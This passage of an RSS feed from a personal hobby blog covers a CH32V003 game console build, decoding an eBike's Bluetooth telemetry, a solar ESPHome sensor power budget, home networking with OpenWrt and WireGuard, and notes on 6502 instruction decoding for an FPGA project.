he&amp;rsquo;s sorting out license issues, I&amp;rsquo;ve been working on my own spin of
&lt;a href="https://github.com/wagiminator" target="_blank" rel="noopener">wagiminator@&lt;/a>&amp;rsquo;s
&lt;a href="https://www.wch-ic.com/products/CH32V003.html" target="_blank" rel="noopener">CH32V003&lt;/a> based
&lt;a href="https://github.com/wagiminator/CH32V003-GameConsole" target="_blank" rel="noopener">mini game console&lt;/a>.&lt;/p>
&lt;p>This switches to a 20 pin SOIC, adds an optional colour LCD, a second action button, and pulls out
the debug, I2C, and UART on
&lt;a href="https://www.sparkfun.com/qwiic" target="_blank" rel="noopener">QWIIC&lt;/a>-like JST connectors. Today I got
the LED blinking:&lt;/p>
&lt;video autoplay loop >
&lt;source src="blink.mp4" type="video/mp4">
&lt;/video>
&lt;p>I&amp;rsquo;m pretty happy with the JST connectors. They&amp;rsquo;re compact and easy to hand solder.&lt;/p></description></item><item><title>CH32V003 Mini Game Console build</title><link>https://juju.nz/michaelh/post/2024/minich/</link><pubDate>Sat, 01 Jun 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/minich/</guid><description>&lt;p>I had fun building a few of
&lt;a href="https://github.com/wagiminator" target="_blank" rel="noopener">wagiminator@&lt;/a>&amp;rsquo;s
&lt;a href="https://www.wch-ic.com/products/CH32V003.html" target="_blank" rel="noopener">CH32V003&lt;/a> based
&lt;a href="https://github.com/wagiminator/CH32V003-GameConsole" target="_blank" rel="noopener">mini game console&lt;/a>. This was my first time
buying from LCSC, ad I was quite happy with the selection and turn around time. It&amp;rsquo;s always amusing
needing a single $0.01 0603 resistor and having to order 50 of them.&lt;/p>
&lt;p>There&amp;rsquo;s a few tweaks I&amp;rsquo;d make to the design:&lt;/p>
&lt;ul>
&lt;li>Add backfeed protection for the battery. Currently connecting the debugger power and battery at
the same time will feed power into the battery&lt;/li>
&lt;li>Add reverse voltage protection for the debugger power. It&amp;rsquo;s three pins and too easy swap ground
and power&lt;/li>
&lt;li>Address brownouts when using the buzzer. The buzzer can take up to 100 mA, which is too much for a
cheaper CR2032&lt;/li>
&lt;/ul>
&lt;p>Next is to dust off
&lt;a href="https://juju.nz/src/michaelh/zephyr/src/branch/ch32v003" target="_blank" rel="noopener">my port&lt;/a> of
&lt;a href="https://www.zephyrproject.org/" target="_blank" rel="noopener">Zephyr&lt;/a> to the CH32V003 and port the games over.&lt;/p></description></item><item><title>Ampler eBike Bluetooth protocol</title><link>https://juju.nz/michaelh/post/2024/ampler/</link><pubDate>Sun, 12 May 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/ampler/</guid><description>&lt;p>I have an
&lt;a href="https://amplerbikes.com/en-CH/e-bikes/stout" target="_blank" rel="noopener">Ampler Stout&lt;/a> eBike which exposes metrics as Bluetooth attributes over
&lt;a href="https://learn.adafruit.com/introduction-to-bluetooth-low-energy/gatt" target="_blank" rel="noopener">GATT&lt;/a>. I&amp;rsquo;d
like to track the battery level and odomoter, so spent some time and decoded some of the attributes.&lt;/p>
&lt;p>The bike exposes:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Characteristic&lt;/th>
&lt;th>Example data&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>340d1528-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x5b 0x00 0x00 0x00 0x11 0x02 0x00 0x00 0x04 0x01 0x00 0x00 0x00 0x00 0x00 0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1529-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x00 0x00 0x00 0x00 0xdf 0x14 0x00 0x00 0x9c 0x0a 0x90 0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1530-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0xa0 0x00 0x90 0x01 0x02 0x00 0x06 0x00 0x64 0x00 0xfa 0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1536-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x01&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1538-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1542-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x58 0x02&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1544-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1545-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x0a 0x18 0xe2 0x64&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1547-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0xff 0x02 0x11 0x00 0x00 0x00 0x03 0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1548-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1549-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x00 0x00 0x00 0x00&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1550-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0x33&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The format appears to pack related values into the same characteristic. Values are little endian and
either half words or words. The units seem to be metric such as &lt;code>m&lt;/code> for range and &lt;code>m/s&lt;/code> for speed
with a power of 10 multiplier, such as the voltage being in decivolts:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Characteristic&lt;/th>
&lt;th>
&lt;a href="https://docs.python.org/3/library/struct.html#format-characters" target="_blank" rel="noopener">Format&lt;/a>&lt;/th>
&lt;th>Fields&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>340d1528-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>HHhH&lt;/td>
&lt;td>% charged, voltage (dV), temperature (dºC), ?&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1529-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>III&lt;/td>
&lt;td>?, speed (mm/s), odometer (dm)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1536-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>B&lt;/td>
&lt;td>assist level (0, 1, 2)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1538-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>? (bool)&lt;/td>
&lt;td>light&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1545-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>I&lt;/td>
&lt;td>? increases over time 1692538885&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The time value isn&amp;rsquo;t clear but might be a POSIX time, i.e. roughly Sunday, 20 August 2023.&lt;/p>
&lt;p>Decoding the example above gives:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Characteristic&lt;/th>
&lt;th>Fields&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>340d1528-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>91 % charged, 52.9 V, 26.0 ºC, 0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1529-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>0, 5343 mm/s (19.2 km/h), 943.9900 km&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1536-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>assist level 1&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>340d1538-a89e-4d4e-9078-06d21096ea36&lt;/td>
&lt;td>light off&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Next step is to implement a decoder, export this to Home Assistant, and collect it via Prometheus.&lt;/p></description></item><item><title>Solar powered ESPHome sensor</title><link>https://juju.nz/michaelh/post/2024/lifire/</link><pubDate>Sat, 11 May 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/lifire/</guid><description>&lt;p>I&amp;rsquo;m experimenting with a long life, solar powered
&lt;a href="https://esphome.io/" target="_blank" rel="noopener">ESPHome&lt;/a> based device. The original idea was for
outside, low update rate sensors such as a tank water level sensor. Looks like the power consumption
is too high, but it&amp;rsquo;s been interesting.&lt;/p>
&lt;p>THe components are:&lt;/p>
&lt;ul>
&lt;li>A
&lt;a href="https://www.dfrobot.com/product-2771.html" target="_blank" rel="noopener">FireBeetle 2 ESP32-C6&lt;/a>&lt;/li>
&lt;li>
&lt;a href="https://www.bastelgarage.ch/solar-cell-5v-65ma-0-33w-68x36mm" target="_blank" rel="noopener">0.33 W solar cell&lt;/a>&lt;/li>
&lt;li>18650 3000 mAh LiPo&lt;/li>
&lt;/ul>
&lt;p>All of the componets are roughly the same size and fit together in a small IP66 box.&lt;/p>
&lt;h1 id="esp32-c6-and-esphome">ESP32-C6 and ESPHome&lt;/h1>
&lt;p>ESPHome currently doesn&amp;rsquo;t support the C6, as the C6 requires ESP IDF 5 while ESPHome targets IDF 4.
However, except for the ADC componet, it&amp;rsquo;s pretty close.&lt;/p>
&lt;p>To target the C6 with ESPHome 2024.4, fetch &lt;code>componets/adc&lt;/code> from
&lt;a href="https://juju.nz/src/michaelh/lifire" target="_blank" rel="noopener">my tree&lt;/a> and try the following:&lt;/p>
&lt;pre>&lt;code class="language-yaml">external_components:
- source:
type: local
path: components
# Remove post 2024.04?
- source: github://esphome/esphome@dev
components:
- logger
esp32:
board: esp32-c6-devkitm-1
variant: esp32c6
flash_size: 4MB
framework:
type: esp-idf
version: 5.2.1
platform_version: 6.6.0
sdkconfig_options:
CONFIG_ESPTOOLPY_FLASHSIZE_4MB: y
&lt;/code>&lt;/pre>
&lt;h2 id="power-budget">Power budget&lt;/h2>
&lt;p>The FireBeetle claims that it draws 16 uA in deep sleep. The
&lt;a href="https://docs.espressif.com/projects/esp-idf/en/stable/esp32c6/api-guides/current-consumption-measurement-modules.html" target="_blank" rel="noopener">ESP32-C6 power documentation&lt;/a>
suggests 70 mA at startup and 24 mA active.&lt;/p>
&lt;p>The LiPo self discharge is about 1 % per month, or 30 mAh/month, or 42 uA.&lt;/p>
&lt;p>The panel generates 0.33 W at 5 V, or 66 mA.&lt;/p>
&lt;p>The board uses a linear regulator and the charge controller is constant current, so the math should
be done in amps.&lt;/p>
&lt;p>So, assuming a overcast day (1/3 power) with 4 hours of sun, mA/day = &lt;code>66 mA * 1/3 * 4&lt;/code> = 88 mAh.&lt;/p>
&lt;p>Connecting to the Wifi and Home Assistant takes ~10 s. Taking 70 mA gives 1.25 h of operation/day,
or 450 10 s cycles, or one cycle every 3.2 minutes.&lt;/p>
&lt;p>Rounding the cycle up to 5 minutes gives 700 mAs every 5 minutes, or 201600 mAs/day, or 56 mAh/day,
so the battery could last 53 days.&lt;/p>
&lt;h2 id="tests">Tests&lt;/h2>
&lt;p>Due to a bug, the board stayed on overnight one evening and dropped from 3.91 V to 3.72 V over 13 h,
or ~65 % to ~20 %, or 1350 mAh/13h, or 103 mA. This assumes the battery is healthy.&lt;/p>
&lt;p>Last night it went from 33 % to 30 % over 13 h, or 166 mAh/day on a 5 minute cycle. The measurement
is noisy and poobably +/- 1 %, so the range is 2 % to 4 %, or 110 mAh/day to 221 mAh/day.&lt;/p>
&lt;h1 id="deep-sleep-sensors-and-ota">Deep sleep, sensors, and OTA&lt;/h1>
&lt;p>To minimise the time spent awake, my approach is to:&lt;/p>
&lt;ul>
&lt;li>Start the Wifi&lt;/li>
&lt;li>Wait until Home Assistant connects to the API&lt;/li>
&lt;li>Force the sensors to update&lt;/li>
&lt;li>Delay to ensure the updates go out&lt;/li>
&lt;li>Calculate the time until the next multiple of 5 minutes&lt;/li>
&lt;li>Enter deep sleep until then&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m not sure if the &amp;lsquo;force update&amp;rsquo; is needed, as ESPHome might send the most recent value on
connect.&lt;/p>
&lt;p>Except for the &amp;lsquo;delay to hope that the values have been propagated&amp;rsquo;, everything else is event driven
which minimises the on time.&lt;/p>
&lt;p>To allow OTA updates, I:&lt;/p>
&lt;ul>
&lt;li>Added a custom toggle helper in Home Assistant&lt;/li>
&lt;li>Added that binary sensor in ESPHome&lt;/li>
&lt;li>If the toggle is set then prevent deep sleep&lt;/li>
&lt;/ul></description></item><item><title>ESP32 as a low power sensor</title><link>https://juju.nz/michaelh/post/2024/esp32_sensor/</link><pubDate>Sat, 20 Apr 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/esp32_sensor/</guid><description>&lt;p>Notes on using an ESP32 as a low power sensor:&lt;/p>
&lt;p>Battery:&lt;/p>
&lt;ul>
&lt;li>I have some 18650&amp;rsquo;s already&lt;/li>
&lt;li>Battery holder is 76 x 21 x 19&lt;/li>
&lt;li>LiPo drop by about 1 % per month&lt;/li>
&lt;li>3000 mAh at 1 %/month is ~40 uA/h&lt;/li>
&lt;/ul>
&lt;p>ESP32:&lt;/p>
&lt;ul>
&lt;li>FireBeetle 2 ESP32-C6 is apparently 20 uA in deep sleep&lt;/li>
&lt;li>60 x 25.4 x 7.3 mm&lt;/li>
&lt;li>Takes up to a 6 V panel&lt;/li>
&lt;/ul>
&lt;p>Panel:&lt;/p>
&lt;ul>
&lt;li>Could use a solar panel to top up the power&lt;/li>
&lt;li>A 5 V 65 mA panel is 68 x 36 mm&lt;/li>
&lt;li>Ideally the LiPo should stay cool, but the panel should get sun&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>Box:&lt;/p>
&lt;ul>
&lt;li>Maximum of dimensions is 76 x 36 x 19 mm&lt;/li>
&lt;li>Purecrea have a small 77 x 52 x 28 mm inside dimension box&lt;/li>
&lt;/ul></description></item><item><title>Updates to wordclock</title><link>https://juju.nz/michaelh/post/2024/wordclock/</link><pubDate>Sun, 03 Mar 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/wordclock/</guid><description>&lt;p>A few years ago I made a
&lt;a href="https://micropython.org/" target="_blank" rel="noopener">MicroPython&lt;/a> based
&lt;a href="https://juju.nz/src/michaelh/wordclock" target="_blank" rel="noopener">word clock&lt;/a>
(
&lt;a href="https://www.timeanddate.com/wordclock/" target="_blank" rel="noopener">example&lt;/a>). I&amp;rsquo;ve refreshed it to work with the latest version of MicroPython and added a MQTT based interface to Home Assistant.&lt;/p>
&lt;p>This interface turned out quite nice, as the clock appears as a dimmable lamp, letting me automatically dim it at night and turn it almost off during the early hours of the day. This reduces the glow in the lounge at night.&lt;/p></description></item><item><title>OpenWrt as the first point in my network</title><link>https://juju.nz/michaelh/post/2024/openwrt/</link><pubDate>Tue, 30 Jan 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/openwrt/</guid><description>&lt;p>I&amp;rsquo;d like to separate the primary and secondary services in my home network so, for example, a problem with Nginx doesn&amp;rsquo;t break the home automation. The current
plan is to put the primary services including routing and basic automation onto one simple machine and see if that helps.&lt;/p>
&lt;p>Rather than use Debian and try to use it as a router, I thought I&amp;rsquo;d start with OpenWrt and try to use it as an application server. The first step is to trial it on my home office.&lt;/p>
&lt;h2 id="notes">Notes&lt;/h2>
&lt;p>Hardware I have:&lt;/p>
&lt;ul>
&lt;li>Intel 7260 Wifi&lt;/li>
&lt;li>Intel I218-LM Ethernet&lt;/li>
&lt;li>Realtek RTL8153 Ethernet&lt;/li>
&lt;li>Belkin RTL8188CUS Wifi&lt;/li>
&lt;li>Apple A1277 Ethernet (ASIX?)&lt;/li>
&lt;li>CSR Bluetooth dongle&lt;/li>
&lt;/ul>
&lt;p>Misc:&lt;/p>
&lt;ul>
&lt;li>Blank the screen: Add &lt;code>setterm --blank 1&lt;/code> to rc.S&lt;/li>
&lt;/ul>
&lt;p>SSH:&lt;/p>
&lt;ul>
&lt;li>&lt;code>Firewall &amp;gt; Traffic Rules &amp;gt; Allow port 22 from wan&lt;/code>&lt;/li>
&lt;li>Uses dropbear, works fine as a jump host&lt;/li>
&lt;/ul>
&lt;p>Dynamic DNS:&lt;/p>
&lt;ul>
&lt;li>&lt;code>ddns-scripts-cloudflare&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>Toy 8 bit CPU</title><link>https://juju.nz/michaelh/post/2024/orc8-1/</link><pubDate>Sun, 21 Jan 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/orc8-1/</guid><description>&lt;p>I decided to step back from the full 6502 and implement a toy 8 bit processor.&lt;/p>
&lt;p>I ended up implementing Soo-Ik Chae&amp;rsquo;s architecture from
&lt;a href="https://ocw.snu.ac.kr/sites/default/files/NOTE/6639.pdf" target="_blank" rel="noopener">https://ocw.snu.ac.kr/sites/default/files/NOTE/6639.pdf&lt;/a>. Zachary Yedidia&amp;rsquo;s
&lt;a href="https://zyedidia.github.io/notes/sv_guide.pdf" target="_blank" rel="noopener">SystemVerilog Guide&lt;/a> was a useful guide to idiomatic SystemVerilog, and David Money Harris&amp;rsquo;s MIPS implementation from
&lt;a href="https://pages.hmc.edu/harris/cmosvlsi/4e/index.html" target="_blank" rel="noopener">CMOS VLSI Design 4th Ed.&lt;/a> was very readable.&lt;/p></description></item><item><title>FPGA and blinking lights</title><link>https://juju.nz/michaelh/post/2024/fpgablink/</link><pubDate>Sat, 13 Jan 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/fpgablink/</guid><description>&lt;p>Today I got the OrangeCrab &lt;code>blink&lt;/code> example running on my board, yay!&lt;/p>
&lt;p>My daily driver is a Pixelbook, so I resurected an old laptop and put Debian stable on it so I could have
a good set of USB ports. The only niggle is that you need to replug the board to get into the boot loader,
but you can add a module to the design that watches the boot button and resets when pressed.&lt;/p>
&lt;p>Overally, I&amp;rsquo;m happy. Next step is to write some RTL.&lt;/p></description></item><item><title>WireGuard as a home VPN</title><link>https://juju.nz/michaelh/post/2024/wireguard/</link><pubDate>Tue, 02 Jan 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/wireguard/</guid><description>&lt;p>I&amp;rsquo;ve just set up WireGuard on my home server and it&amp;rsquo;s pretty easy even without an UI. I&amp;rsquo;m now using it as a VPN from Android, Chrome OS, and Windows.&lt;/p>
&lt;p>The surprising thing was the peer &lt;code>AllowedIPs&lt;/code>, which lists which IPs a peer owns. I ended up allocating each peer a &lt;code>/30&lt;/code> and setting the peer to use the first address in the range.&lt;/p>
&lt;p>Performance is very good and easily saturates my home Wifi. I added a simple Prometheus exporter based on the &lt;code>wg show all dump&lt;/code> output that runs on a hourly cronjob and writes out the last ping time and transferred bytes.&lt;/p></description></item><item><title>Learning FPGAs #1</title><link>https://juju.nz/michaelh/post/2024/fp6502/</link><pubDate>Mon, 01 Jan 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/fp6502/</guid><description>&lt;p>I normally work at the system or electronic level, and one thing I&amp;rsquo;ve always wanted to learn is FPGAs and the corresponding HDLs.&lt;/p>
&lt;p>To pull this together, I plan to implement the 6502 using Verilog on an OrangeCrab board. The board uses a ECP5-25F and is supported by Yosys.&lt;/p>
&lt;h2 id="6502">6502&lt;/h2>
&lt;p>I chose the 6502 as it reminds me of the VIC-20 and C128 I used to own, and it has
a small, straight forward instruction set.&lt;/p>
&lt;p>According to
&lt;a href="https://llx.com/Neil/a2/opcodes.html" target="_blank" rel="noopener">https://llx.com/Neil/a2/opcodes.html&lt;/a>, most instructions have a &lt;code>aaabbbcc&lt;/code> format, where &lt;code>aaa&lt;/code> and &lt;code>cc&lt;/code> determine the opcode and &lt;code>bbb&lt;/code> is the addressing mode.
&lt;a href="https://www.pagetable.com/c64ref/6502/" target="_blank" rel="noopener">https://www.pagetable.com/c64ref/6502/&lt;/a> has a nice 3-3-2 view of this.&lt;/p>
&lt;p>The instructions are divided into groups based on &lt;code>cc&lt;/code>:&lt;/p>
&lt;ul>
&lt;li>00 is group 3&lt;/li>
&lt;li>01 is group 1&lt;/li>
&lt;li>10 is group 2&lt;/li>
&lt;li>11 is reserved&lt;/li>
&lt;/ul>
&lt;h2 id="group-1-c--01">Group 1 (c = 01)&lt;/h2>
&lt;p>Covers 1/4th of the decode space, where &lt;code>aaa&lt;/code> is:&lt;/p>
&lt;ul>
&lt;li>000 ORA&lt;/li>
&lt;li>001 AND&lt;/li>
&lt;li>010 EOR&lt;/li>
&lt;li>011 ADC&lt;/li>
&lt;li>100 STA&lt;/li>
&lt;li>101 LDA&lt;/li>
&lt;li>110 CMP&lt;/li>
&lt;li>111 SBC&lt;/li>
&lt;/ul>
&lt;p>and &lt;code>bbb&lt;/code> is:&lt;/p>
&lt;ul>
&lt;li>000 (zero page,X)&lt;/li>
&lt;li>001 zero page&lt;/li>
&lt;li>010 #immediate&lt;/li>
&lt;li>011 absolute&lt;/li>
&lt;li>100 (zero page),Y&lt;/li>
&lt;li>101 zero page,X&lt;/li>
&lt;li>110 absolute,Y&lt;/li>
&lt;li>111 absolute,X&lt;/li>
&lt;/ul>
&lt;h2 id="group-2-c--10">Group 2 (c = 10)&lt;/h2>
&lt;ul>
&lt;li>000 ASL&lt;/li>
&lt;li>001 ROL&lt;/li>
&lt;li>010 LSR&lt;/li>
&lt;li>011 ROR&lt;/li>
&lt;li>100 STX&lt;/li>
&lt;li>101 LDX&lt;/li>
&lt;li>110 DEC&lt;/li>
&lt;li>111 INC&lt;/li>
&lt;/ul>
&lt;p>where &lt;code>bbb&lt;/code> is:&lt;/p>
&lt;ul>
&lt;li>000 #immediate&lt;/li>
&lt;li>001 zero page&lt;/li>
&lt;li>010 accumulator&lt;/li>
&lt;li>011 absolute&lt;/li>
&lt;li>101 zero page,X&lt;/li>
&lt;li>111 absolute,X&lt;/li>
&lt;/ul>
&lt;p>So zero page, absolute, zero page, X, and absolute, X are the same.&lt;/p>
&lt;h2 id="group-3-c--00">Group 3 (c = 00)&lt;/h2>
&lt;ul>
&lt;li>001 BIT&lt;/li>
&lt;li>010 JMP&lt;/li>
&lt;li>011 JMP (abs)&lt;/li>
&lt;li>100 STY&lt;/li>
&lt;li>101 LDY&lt;/li>
&lt;li>110 CPY&lt;/li>
&lt;li>111 CPX&lt;/li>
&lt;/ul>
&lt;p>where &lt;code>bbb&lt;/code> is:&lt;/p>
&lt;ul>
&lt;li>000 #immediate&lt;/li>
&lt;li>001 zero page&lt;/li>
&lt;li>011 absolute&lt;/li>
&lt;li>101 zero page,X&lt;/li>
&lt;li>111 absolute,X&lt;/li>
&lt;/ul>
&lt;p>which is the same as group 2 except &lt;code>accumulator&lt;/code>.&lt;/p>
&lt;p>The conditional branches have the form &lt;code>xxy 100 00&lt;/code>, i.e. b is 100 and c is 00, and x is:&lt;/p>
&lt;ul>
&lt;li>00 negative&lt;/li>
&lt;li>01 overflow&lt;/li>
&lt;li>10 carry&lt;/li>
&lt;li>11 zero&lt;/li>
&lt;/ul>
&lt;p>which is compared with &lt;code>y&lt;/code>.&lt;/p>
&lt;p>Next is to implement the ALU.&lt;/p></description></item><item><title>Faster posting</title><link>https://juju.nz/michaelh/post/2023/online/</link><pubDate>Tue, 26 Dec 2023 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2023/online/</guid><description>&lt;p>TL;DR: the minimal template is:&lt;/p>
&lt;pre>&lt;code>---
title: &amp;quot;Faster posting&amp;quot;
date: 2023-12-26
---
Content with no initial title
&lt;/code>&lt;/pre>
&lt;p>Details:&lt;/p>
&lt;p>I&amp;rsquo;m using Hugo, which is a static site generator.&lt;/p>
&lt;p>Looks like it&amp;rsquo;s possible to post from gitea. Let&amp;rsquo;s try&amp;hellip;&lt;/p>
&lt;p>Step 1: install drone.io. The site builds, and this file is rendered, but it&amp;rsquo;s not part of the index.&lt;/p>
&lt;p>Step 2: add a minimal header with &lt;code>draft&lt;/code> and &lt;code>authors&lt;/code>.&lt;/p>
&lt;p>Step 3: add a title and date.&lt;/p>
&lt;p>Step 4: drone stops updating to the latest?&lt;/p>
&lt;p>Step 5: drop the header&lt;/p>
&lt;p>Step 6: re-add the header. The publish date was in the future.&lt;/p>
&lt;p>Step 7: just the date.&lt;/p>
&lt;p>Step 8: just the title.&lt;/p>
&lt;p>Step 9: re-add the date.&lt;/p></description></item><item><title>XT60 based charger</title><link>https://juju.nz/michaelh/post/2023/charger/</link><pubDate>Sun, 04 Jun 2023 17:54:35 +0200</pubDate><guid>https://juju.nz/michaelh/post/2023/charger/</guid><description>&lt;p>
&lt;a href="https://juju.nz/src/michaelh/hacks/src/branch/master/charger" target="_blank" rel="noopener">charger&lt;/a>
is a case for a
&lt;a href="https://www.aliexpress.com/item/1005005144919264.html" target="_blank" rel="noopener">no-name car charger&lt;/a> that lets you use model aircraft
batteries to charge your phone.&lt;/p>
&lt;p>The charger is quite nice. It&amp;rsquo;s panel mount and comes with a QC 3.0
port and two USB-C power delivery ports. The PD ports charge my
Pixel at more than 12 W.&lt;/p>
&lt;p>I made this as we were going camping and wanted to keep our phones
charged. I&amp;rsquo;ve got quite a few 3S and 4S model aircraft batteries and
this was less wasteful than buying a power bank.&lt;/p>
&lt;p>&lt;img src="charger.png" alt="Render of the case">&lt;/p></description></item><item><title>CH32V003 and Zephyr</title><link>https://juju.nz/michaelh/post/2023/ch32v003/</link><pubDate>Sun, 29 Jan 2023 11:45:23 +0100</pubDate><guid>https://juju.nz/michaelh/post/2023/ch32v003/</guid><description>&lt;h1 id="ch32v003-and-zephyr">CH32V003 and Zephyr&lt;/h1>
&lt;p>I&amp;rsquo;ve picked up a CH32V003 development board. Their claim to fame is being a
RISC-V 32 bit microcontroller with 16 KiB of flash for $0.10 in
quantity. I&amp;rsquo;d like to port Zephyr to it - there&amp;rsquo;s no good reason as
the default Zephyr configuration is too big for 16 KiB of flash and 2
KiB of RAM, but stripped down it fits quite well.&lt;/p>
&lt;p>I&amp;rsquo;ll update this post as I go along.&lt;/p>
&lt;h2 id="gpiod-traps">GPIOD traps&lt;/h2>
&lt;p>Be careful if you configure GPIOD at start up. The reset pin and SWD
pin are both on GPIOD, and if you set them to output at startup then
the chip can no longer be programmed.&lt;/p>
&lt;p>My solution was to desolder and replace the chip.&lt;/p></description></item><item><title>Gitjournal</title><link>https://juju.nz/michaelh/post/2022/gitjournal/</link><pubDate>Sun, 26 Jun 2022 12:26:02 +0200</pubDate><guid>https://juju.nz/michaelh/post/2022/gitjournal/</guid><description>&lt;p>
&lt;a href="https://gitjournal.io/" target="_blank" rel="noopener">GitJournal&lt;/a> is very cool. It&amp;rsquo;s an Android app where you can write notes in Markdown and then sync up to your own Git repository.&lt;/p>
&lt;p>I was using NextCloud social for small private notes but that&amp;rsquo;s been abandoned. This setup is clean, text based, future proof, and allows self hosting. Nice!&lt;/p></description></item><item><title>nppilot using Ardupilot</title><link>https://juju.nz/michaelh/post/2022/nppilot/</link><pubDate>Sun, 16 Jan 2022 17:44:44 +0100</pubDate><guid>https://juju.nz/michaelh/post/2022/nppilot/</guid><description>&lt;p>I&amp;rsquo;ve been working on nppilot, the &amp;ldquo;never complete autopilot&amp;rdquo; project for some time now. The latest iteration uses a
&lt;a href="https://traxxas.com/products/models/electric/erevo-vxl-116-tsm" target="_blank" rel="noopener">Traxxas Revo 1/16&lt;/a>, an
&lt;a href="https://ardupilot.org/copter/docs/common-openpilot-revo-mini.html" target="_blank" rel="noopener">OpenPilot Revolution&lt;/a> for I/O, and a Raspberry Pi 3B running
&lt;a href="https://ros.org/" target="_blank" rel="noopener">ROS&lt;/a> as the command computer.&lt;/p>
&lt;p>And it works! Here&amp;rsquo;s the car running a figure-8 pattern:&lt;/p>
&lt;video controls >
&lt;source src="figure8.mp4" type="video/mp4">
&lt;/video>
&lt;p>It doesn&amp;rsquo;t do much at the moment, but that&amp;rsquo;s more progress than the other reboots.&lt;/p>
&lt;p>Some notes on the setup:&lt;/p>
&lt;ul>
&lt;li>I changed the spur gear down to 18T to reduce the top speed, get more speed control, and reduce the number of high speed crashes&amp;hellip;&lt;/li>
&lt;li>Wifi with a range extender seems fine as a monitoring link&lt;/li>
&lt;li>I tried a Pi 4B, but my USB power bank can&amp;rsquo;t supply enough current. This matches
&lt;a href="https://www.pidramble.com/wiki/benchmarks/power-consumption" target="_blank" rel="noopener">benchmarks&lt;/a> where the 4B is 2.7 W at idle vs 1.2 W.&lt;/li>
&lt;/ul></description></item><item><title>VW to ABRP via Home Assistant</title><link>https://juju.nz/michaelh/post/2021/abrp/</link><pubDate>Thu, 30 Dec 2021 19:40:05 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/abrp/</guid><description>&lt;p>I have a Volkswagen ID series car that I&amp;rsquo;m pretty happy with. The car automatically uploads telemetry such as the current battery state of charge and, with a bit of work, this can be pulled into
&lt;a href="https://www.home-assistant.io/" target="_blank" rel="noopener">Home Assistant&lt;/a> for viewing and then re-exported to
&lt;a href="https://abetterrouteplanner.com/" target="_blank" rel="noopener">A Better Route Planner&lt;/a> to give live range planning.&lt;/p>
&lt;p>First, add
&lt;a href="https://github.com/raymondd78/ha_vwid" target="_blank" rel="noopener">ha_vwid&lt;/a> as a custom component to your Home Assistant installation. I did this by:&lt;/p>
&lt;pre>&lt;code class="language-sh">cd /data/hass/third_party
git clone https://github.com/raymondd78/ha_vwid
cd ../custom_components
ln -s ../third_party/ha_vwid/custom_components/vwid
systemctl restart hass
&lt;/code>&lt;/pre>
